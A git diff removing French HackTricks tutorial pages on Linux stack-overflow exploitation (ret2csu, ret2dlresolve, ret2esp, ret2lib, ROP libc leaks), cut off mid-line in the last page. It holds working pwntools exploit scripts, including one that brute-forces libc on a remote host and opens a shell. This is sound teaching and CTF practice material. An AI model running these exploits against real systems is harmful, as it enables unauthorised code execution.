diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md deleted file mode 100644 index 84616678c..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ /dev/null @@ -1,89 +0,0 @@ -# Stack Overflow - -{{#include ../../../banners/hacktricks-training.md}} - -## Qu'est-ce qu'un débordement de pile - -Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la pile que ce qui lui est alloué. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle, et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées. - -Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ces valeurs et **contrôler le flux d'exécution du programme**. - -La vulnérabilité survient généralement parce qu'une fonction **copie dans la pile plus d'octets que la quantité qui lui est allouée**, permettant ainsi d'écraser d'autres parties de la pile.\ -Certaines fonctions courantes vulnérables à cela sont : `strcpy`, `strcat`, `sprintf`, `gets`... De plus, des fonctions comme `fgets` ou `read`, qui prennent un argument de longueur, peuvent être utilisées de manière vulnérable si la longueur spécifiée est supérieure à celle allouée. - -Par exemple, les fonctions suivantes pourraient être vulnérables : -```c -void vulnerable() { -char buffer[128]; -printf("Enter some text: "); -gets(buffer); // This is where the vulnerability lies -printf("You entered: %s\n", buffer); -} -``` -### Trouver des débordements de pile - -La manière la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**. - -De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, c'est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur **_**n**_** apparaît exactement une fois** en tant que sous-séquence contiguë. - -De cette manière, au lieu de devoir déterminer manuellement quel décalage est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver le décalage des octets qui ont fini par la surcharger. - -Il est possible d'utiliser **pwntools** pour cela : -```python -from pwn import * - -# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values) -pattern = cyclic(1000) - -# This is an example value that you'd have found in the EIP/IP register upon crash -eip_value = p32(0x6161616c) -offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern -print(f"The offset is: {offset}") -``` -ou **GEF** : -```bash -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp -``` -## Exploiter les débordements de pile - -Lors d'un débordement (en supposant que la taille du débordement soit suffisamment grande), vous pourrez écraser les valeurs des variables locales à l'intérieur de la pile jusqu'à atteindre le EBP/RBP et EIP/RIP sauvegardés (ou même plus).\ -La manière la plus courante d'abuser de ce type de vulnérabilité est de **modifier l'adresse de retour** afin que lorsque la fonction se termine, **le flux de contrôle soit redirigé vers l'endroit spécifié par l'utilisateur** dans ce pointeur. - -Cependant, dans d'autres scénarios, il se peut que **l'écrasement de certaines valeurs de variables dans la pile** soit suffisant pour l'exploitation (comme dans des défis CTF faciles). - -### Ret2win - -Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver l'**offset pour écraser l'adresse de retour** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée soit appelée : - -{{#ref}} -ret2win.md -{{#endref}} - -### Shellcode de pile - -Dans ce scénario, l'attaquant pourrait placer un shellcode dans la pile et abuser de l'EIP/RIP contrôlé pour sauter au shellcode et exécuter du code arbitraire : - -{{#ref}} -stack-shellcode.md -{{#endref}} - -## ROP - -Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pas de pile exécutable** (NX). Et elle permet d'exécuter plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire : - -{{#ref}} -rop-return-oriented-programing.md -{{#endref}} - -## Types de protections - -Il existe plusieurs protections essayant de prévenir l'exploitation des vulnérabilités, consultez-les dans : - -{{#ref}} -../common-binary-protections-and-bypasses/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md deleted file mode 100644 index 62f3c2a6c..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md +++ /dev/null @@ -1,29 +0,0 @@ -# Redirection de Pointeur - -{{#include ../../../banners/hacktricks-training.md}} - -## Pointeurs de chaîne - -Si un appel de fonction doit utiliser une adresse d'une chaîne située dans la pile, il est possible d'abuser du débordement de tampon pour **écraser cette adresse** et mettre une **adresse d'une chaîne différente** à l'intérieur du binaire. - -Si par exemple un appel de fonction **`system`** doit **utiliser l'adresse d'une chaîne pour exécuter une commande**, un attaquant pourrait placer l'**adresse d'une chaîne différente dans la pile**, **`export PATH=.:$PATH`** et créer dans le répertoire courant un **script avec le nom de la première lettre de la nouvelle chaîne** car cela sera exécuté par le binaire. - -Vous pouvez trouver un exemple de cela dans : - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) -- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) -- 32 bits, changer l'adresse de la chaîne de drapeaux dans la pile pour qu'elle soit imprimée par `puts` - -## Pointeurs de fonction - -Même principe que pour les pointeurs de chaîne mais appliqué aux fonctions, si la **pile contient l'adresse d'une fonction** qui sera appelée, il est possible de **la changer** (par exemple, pour appeler **`system`**). - -Vous pouvez trouver un exemple dans : - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) - -## Références - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md deleted file mode 100644 index 388b73319..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md +++ /dev/null @@ -1,76 +0,0 @@ -# Ret2csu - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -**ret2csu** est une technique de hacking utilisée lorsque vous essayez de prendre le contrôle d'un programme mais que vous ne pouvez pas trouver les **gadgets** que vous utilisez habituellement pour manipuler le comportement du programme. - -Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de fonctions intégrées pour gérer la communication entre les différentes parties du programme. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé `__libc_csu_init`. - -### Les gadgets magiques dans \_\_libc_csu_init - -Dans `__libc_csu_init`, il y a deux séquences d'instructions (nos "gadgets magiques") qui se démarquent : - -1. La première séquence nous permet de configurer des valeurs dans plusieurs registres (rbx, rbp, r12, r13, r14, r15). Ce sont comme des emplacements où nous pouvons stocker des nombres ou des adresses que nous voulons utiliser plus tard. -```armasm -pop rbx; -pop rbp; -pop r12; -pop r13; -pop r14; -pop r15; -ret; -``` -Ce gadget nous permet de contrôler ces registres en dépilant des valeurs de la pile dans ceux-ci. - -2. La deuxième séquence utilise les valeurs que nous avons configurées pour faire quelques actions : -- **Déplacer des valeurs spécifiques dans d'autres registres**, les rendant prêtes à être utilisées comme paramètres dans des fonctions. -- **Effectuer un appel à un emplacement** déterminé en additionnant les valeurs dans r15 et rbx, puis en multipliant rbx par 8. -``` -mov rdx, r14; -mov rsi, r13; -mov edi, r12d; -call qword [r15 + rbx*8]; -``` -## Exemple - -Imaginez que vous souhaitiez effectuer un syscall ou appeler une fonction comme `write()` mais que vous ayez besoin de valeurs spécifiques dans les registres `rdx` et `rsi` en tant que paramètres. Normalement, vous chercheriez des gadgets qui définissent ces registres directement, mais vous ne pouvez en trouver aucun. - -C'est là que **ret2csu** entre en jeu : - -1. **Configurer les Registres** : Utilisez le premier gadget magique pour extraire des valeurs de la pile et les placer dans rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) et r15. -2. **Utiliser le Deuxième Gadget** : Avec ces registres configurés, vous utilisez le deuxième gadget. Cela vous permet de déplacer vos valeurs choisies dans `rdx` et `rsi` (à partir de r14 et r13, respectivement), préparant les paramètres pour un appel de fonction. De plus, en contrôlant `r15` et `rbx`, vous pouvez faire en sorte que le programme appelle une fonction située à l'adresse que vous calculez et placez dans `[r15 + rbx*8]`. - -Vous avez un [**exemple utilisant cette technique et l'expliquant ici**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), et voici l'exploit final qu'il a utilisé : -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret -REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] -RW_LOC = 0x00404028 - -rop.raw('A' * 40) -rop.gets(RW_LOC) -rop.raw(POP_CHAIN) -rop.raw(0) # r12 -rop.raw(0) # r13 -rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! -rop.raw(RW_LOC) # r15 - holds location of called function! -rop.raw(REG_CALL) # all the movs, plus the call - -p.sendlineafter('me\n', rop.chain()) -p.sendline(p64(elf.sym['win'])) # send to gets() so it's written -print(p.recvline()) # should receive "Awesome work!" -``` -> [!WARNING] -> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée `win` (prenant l'adresse de `win` depuis stdin en appelant gets dans la chaîne ROP et en la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`. - -### Pourquoi ne pas utiliser directement libc ? - -Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md deleted file mode 100644 index 8e400fcd7..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md +++ /dev/null @@ -1,65 +0,0 @@ -# Ret2dlresolve - -{{#include ../../../banners/hacktricks-training.md}} - -## Informations de base - -Comme expliqué dans la page sur [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) et [**Relro**](../common-binary-protections-and-bypasses/relro.md), les binaires sans Full Relro résolvent les symboles (comme les adresses vers des bibliothèques externes) la première fois qu'ils sont utilisés. Cette résolution se produit en appelant la fonction **`_dl_runtime_resolve`**. - -La fonction **`_dl_runtime_resolve`** prend depuis la pile des références à certaines structures dont elle a besoin pour résoudre le symbole spécifié. - -Par conséquent, il est possible de **falsifier toutes ces structures** pour faire en sorte que la résolution dynamique lie le symbole demandé (comme la fonction **`system`**) et l'appelle avec un paramètre configuré (par exemple, **`system('/bin/sh')`**). - -En général, toutes ces structures sont falsifiées en créant une **chaîne ROP initiale qui appelle `read`** sur une mémoire écrivable, puis les **structures** et la chaîne **`'/bin/sh'`** sont passées pour être stockées par read à un emplacement connu, et ensuite la chaîne ROP continue en appelant **`_dl_runtime_resolve`** avec l'adresse de `$'/bin/sh'`. - -> [!TIP] -> Cette technique est particulièrement utile s'il n'y a pas de gadgets syscall (pour utiliser des techniques telles que [**ret2syscall**](rop-syscall-execv.md) ou [SROP](srop-sigreturn-oriented-programming.md)) et qu'il n'y a pas de moyens de divulguer les adresses libc. - -Vous pouvez trouver une meilleure explication de cette technique dans la seconde moitié de la vidéo : - -{{#ref}} -https://youtu.be/ADULSwnQs-s?feature=shared -{{#endref}} - -## Structures - -Il est nécessaire de falsifier 3 structures : **`JMPREL`**, **`STRTAB`** et **`SYMTAB`**. Vous avez une meilleure explication sur la façon dont elles sont construites dans [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) - -## Résumé de l'attaque - -1. Écrire des structures fausses à un endroit -2. Définir le premier argument de system (`$rdi = &'/bin/sh'`) -3. Placer sur la pile les adresses des structures pour appeler **`_dl_runtime_resolve`** -4. **Appeler** `_dl_runtime_resolve` -5. **`system`** sera résolu et appelé avec `'/bin/sh'` comme argument - -## Exemple - -Vous pouvez trouver un [**exemple de cette technique ici**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contenant une très bonne explication de la chaîne ROP finale**, mais voici l'exploit final utilisé : -```python -from pwn import * - -elf = context.binary = ELF('./vuln', checksec=False) -p = elf.process() -rop = ROP(elf) - -# create the dlresolve object -dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) - -rop.raw('A' * 76) -rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures -rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset - -log.info(rop.dump()) - -p.sendline(rop.chain()) -p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in - -p.interactive() -``` -## Références - -- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) -- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md deleted file mode 100644 index a830426a7..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md +++ /dev/null @@ -1,62 +0,0 @@ -# Ret2esp / Ret2reg - -{{#include ../../../banners/hacktricks-training.md}} - -## **Ret2esp** - -**Parce que l'ESP (Pointeur de Pile) pointe toujours vers le haut de la pile**, cette technique consiste à remplacer l'EIP (Pointeur d'Instruction) par l'adresse d'une instruction **`jmp esp`** ou **`call esp`**. En faisant cela, le shellcode est placé juste après l'EIP écrasé. Lorsque l'instruction `ret` s'exécute, l'ESP pointe vers l'adresse suivante, précisément là où le shellcode est stocké. - -Si **l'Address Space Layout Randomization (ASLR)** n'est pas activé sous Windows ou Linux, il est possible d'utiliser les instructions `jmp esp` ou `call esp` trouvées dans les bibliothèques partagées. Cependant, avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)). - -De plus, être capable de placer le shellcode **après la corruption de l'EIP**, plutôt qu'au milieu de la pile, garantit que toutes les instructions `push` ou `pop` exécutées pendant l'opération de la fonction n'interfèrent pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction. - -### Manque d'espace - -Si vous manquez d'espace pour écrire après avoir écrasé le RIP (peut-être juste quelques octets), écrivez un shellcode `jmp` initial comme : -```armasm -sub rsp, 0x30 -jmp rsp -``` -Et écrivez le shellcode tôt dans la pile. - -### Exemple - -Vous pouvez trouver un exemple de cette technique dans [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) avec un exploit final comme : -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -jmp_rsp = next(elf.search(asm('jmp rsp'))) - -payload = b'A' * 120 -payload += p64(jmp_rsp) -payload += asm(''' -sub rsp, 10; -jmp rsp; -''') - -pause() -p.sendlineafter('RSP!\n', payload) -p.interactive() -``` -## Ret2reg - -De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions **`call eax`** ou **`jmp eax`** (connues sous le nom de technique **ret2eax**), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, **n'importe quel autre registre** contenant une adresse intéressante pourrait être utilisé (**ret2reg**). - -### Exemple - -Vous pouvez trouver un exemple ici : [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - -## Protections - -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) : Si la pile n'est pas exécutable, cela ne sera pas utile car nous devons placer le shellcode dans la pile et sauter pour l'exécuter. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) : Cela peut rendre plus difficile de trouver une instruction pour sauter à esp ou à tout autre registre. - -## Références - -- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) -- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md deleted file mode 100644 index 083ccba29..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md +++ /dev/null @@ -1,129 +0,0 @@ -# Ret2lib - -{{#include ../../../../banners/hacktricks-training.md}} - -## **Informations de base** - -L'essence de **Ret2Libc** est de rediriger le flux d'exécution d'un programme vulnérable vers une fonction d'une bibliothèque partagée (par exemple, **system**, **execve**, **strcpy**) au lieu d'exécuter du shellcode fourni par l'attaquant sur la pile. L'attaquant crée un payload qui modifie l'adresse de retour sur la pile pour pointer vers la fonction de bibliothèque souhaitée, tout en s'assurant que tous les arguments nécessaires soient correctement configurés selon la convention d'appel. - -### **Étapes d'exemple (simplifiées)** - -- Obtenez l'adresse de la fonction à appeler (par exemple, system) et la commande à appeler (par exemple, /bin/sh) -- Générez une chaîne ROP pour passer le premier argument pointant vers la chaîne de commande et le flux d'exécution vers la fonction - -## Trouver les adresses - -- Supposons que la `libc` utilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec : -```bash -ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) -``` -Si vous voulez vérifier si l'ASLR change l'adresse de libc, vous pouvez faire : -```bash -for i in `seq 0 20`; do ldd ./ | grep libc; done -``` -- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la fonction `system` avec : -```bash -readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system -``` -- En connaissant la libc utilisée, il est également possible de trouver le décalage vers la fonction de chaîne `/bin/sh` avec : -```bash -strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh -``` -### Utilisation de gdb-peda / GEF - -En connaissant la libc utilisée, il est également possible d'utiliser Peda ou GEF pour obtenir l'adresse de la fonction **system**, de la fonction **exit** et de la chaîne **`/bin/sh`** : -``` -p system -p exit -find "/bin/sh" -``` -### Utilisation de /proc/\/maps - -Si le processus crée des **enfants** chaque fois que vous communiquez avec lui (serveur réseau), essayez de **lire** ce fichier (vous aurez probablement besoin d'être root). - -Ici, vous pouvez trouver **exactement où la libc est chargée** à l'intérieur du processus et **où elle va être chargée** pour chaque enfant du processus. - -![](<../../../../images/image (95).png>) - -Dans ce cas, elle est chargée à **0xb75dc000** (Ceci sera l'adresse de base de la libc) - -## Libc inconnue - -Il se peut que vous **ne connaissiez pas la libc que le binaire charge** (car elle pourrait être située sur un serveur auquel vous n'avez pas accès). Dans ce cas, vous pourriez abuser de la vulnérabilité pour **fuir certaines adresses et trouver quelle bibliothèque libc** est utilisée : - -{{#ref}} -rop-leaking-libc-address/ -{{#endref}} - -Et vous pouvez trouver un modèle pwntools pour cela dans : - -{{#ref}} -rop-leaking-libc-address/rop-leaking-libc-template.md -{{#endref}} - -## Contournement de l'ASLR en 32 bits - -Ces attaques par force brute sont **uniquement utiles pour les systèmes 32 bits**. - -- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de la libc (utile pour les systèmes 32 bits) : -```python -for off in range(0xb7000000, 0xb8000000, 0x1000): -``` -- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `usleep` de `libc`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10 secondes de plus à répondre**, vous avez trouvé l'adresse de cette fonction. - -## One Gadget - -{{#ref}} -../../one-gadget.md -{{#endref}} - -## Exemple de code x86 Ret2lib - -Dans cet exemple, le brute-force ASLR est intégré dans le code et le binaire vulnérable est situé sur un serveur distant : -```python -from pwn import * - -c = remote('192.168.85.181',20002) -c.recvline() - -for off in range(0xb7000000, 0xb8000000, 0x1000): -p = "" -p += p32(off + 0x0003cb20) #system -p += "CCCC" #GARBAGE, could be address of exit() -p += p32(off + 0x001388da) #/bin/sh -payload = 'A'*0x20010 + p -c.send(payload) -c.interactive() -``` -## x64 Ret2lib Code Example - -Vérifiez l'exemple à partir de : - -{{#ref}} -../rop-return-oriented-programing.md -{{#endref}} - -## Ret-into-printf (ou puts) - -Cela permet de **fuiter des informations du processus** en appelant `printf`/`puts` avec des données spécifiques placées comme argument. - -## Ret2printf - -Cela signifie essentiellement abuser d'un **Ret2lib pour le transformer en une vulnérabilité de chaînes de format `printf`** en utilisant le `ret2lib` pour appeler printf avec les valeurs à exploiter (semble inutile mais possible) : - -{{#ref}} -../../format-strings/ -{{#endref}} - -## Autres exemples et références - -- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -- Ret2lib, donné une fuite à l'adresse d'une fonction dans libc, utilisant un gadget -- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et le fuiter. Avec le canary, un gadget ROP est créé pour appeler puts afin de fuir l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')` -- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de fuir l'adresse de puts depuis le GOT puis appeler un gadget. -- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) -- 64 bits, pas de pie, pas de canary, pas de relro, nx. Utilise la fonction write pour fuir l'adresse de write (libc) et appelle un gadget. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md deleted file mode 100644 index a4b7f8a01..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ /dev/null @@ -1,273 +0,0 @@ -# Fuite de l'adresse libc avec ROP - -{{#include ../../../../../banners/hacktricks-training.md}} - -## Résumé rapide - -1. **Trouver** l'**offset** de débordement -2. **Trouver** le gadget `POP_RDI`, `PUTS_PLT` et `MAIN` -3. Utiliser les gadgets précédents pour **fuir l'adresse mémoire** de puts ou d'une autre fonction libc et **trouver la version de libc** ([téléchargez-le](https://libc.blukat.me)) -4. Avec la bibliothèque, **calculer le ROP et l'exploiter** - -## Autres tutoriels et binaires pour pratiquer - -Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Autres tutoriels utiles : [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - -## Code - -Nom de fichier : `vuln.c` -```c -#include - -int main() { -char buffer[32]; -puts("Simple ROP.\n"); -gets(buffer); - -return 0; -} -``` - -```bash -gcc -o vuln vuln.c -fno-stack-protector -no-pie -``` -## ROP - Fuite de modèle LIBC - -Je vais utiliser le code situé ici pour réaliser l'exploit.\ -Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script : - -{{#ref}} -rop-leaking-libc-template.md -{{#endref}} - -## 1- Trouver l'offset - -Le modèle a besoin d'un offset avant de continuer avec l'exploit. Si un offset est fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`) : -```bash -################### -### Find offset ### -################### -OFFSET = ""#"A"*72 -if OFFSET == "": -gdb.attach(p.pid, "c") #Attach and continue -payload = cyclic(1000) -print(r.clean()) -r.sendline(payload) -#x/wx $rsp -- Search for bytes that crashed the application -#cyclic_find(0x6161616b) # Find the offset of those bytes -return -``` -**Exécutez** `python template.py`, une console GDB s'ouvrira avec le programme en cours de plantage. À l'intérieur de cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python** : -```python -from pwn import * -cyclic_find(0x6161616b) -``` -![](<../../../../../images/image (140).png>) - -Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.\ -`OFFSET = "A" * 40` - -Une autre méthode serait d'utiliser : `pattern create 1000` -- _exécuter jusqu'à ret_ -- `pattern seach $rsp` depuis GEF. - -## 2- Trouver des Gadgets - -Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler `puts` afin de trouver la **libc** utilisée, et plus tard pour **lancer l'exploit final**. -```python -PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts -MAIN_PLT = elf.symbols['main'] -POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" -RET = (rop.find_gadget(['ret']))[0] - -log.info("Main start: " + hex(MAIN_PLT)) -log.info("Puts plt: " + hex(PUTS_PLT)) -log.info("pop rdi; ret gadget: " + hex(POP_RDI)) -``` -Le `PUTS_PLT` est nécessaire pour appeler la **fonction puts**.\ -Le `MAIN_PLT` est nécessaire pour rappeler la **fonction main** après une interaction pour **exploiter** le débordement **à nouveau** (tours d'exploitation infinis). **Il est utilisé à la fin de chaque ROP pour rappeler le programme à nouveau**.\ -Le **POP_RDI** est nécessaire pour **passer** un **paramètre** à la fonction appelée. - -À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution. - -## 3- Trouver la bibliothèque libc - -Il est maintenant temps de trouver quelle version de la bibliothèque **libc** est utilisée. Pour ce faire, nous allons **leaker** l'**adresse** en mémoire de la **fonction** `puts` et ensuite nous allons **chercher** dans quelle **version de la bibliothèque** se trouve la version de puts à cette adresse. -```python -def get_addr(func_name): -FUNC_GOT = elf.got[func_name] -log.info(func_name + " GOT @ " + hex(FUNC_GOT)) -# Create rop chain -rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - -#Send our rop-chain payload -#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment -print(p.clean()) # clean socket buffer (read all and print) -p.sendline(rop1) - -#Parse leaked address -recieved = p.recvline().strip() -leak = u64(recieved.ljust(8, "\x00")) -log.info("Leaked libc address, "+func_name+": "+ hex(leak)) -#If not libc yet, stop here -if libc != "": -libc.address = leak - libc.symbols[func_name] #Save libc base -log.info("libc base @ %s" % hex(libc.address)) - -return hex(leak) - -get_addr("puts") #Search for puts address in 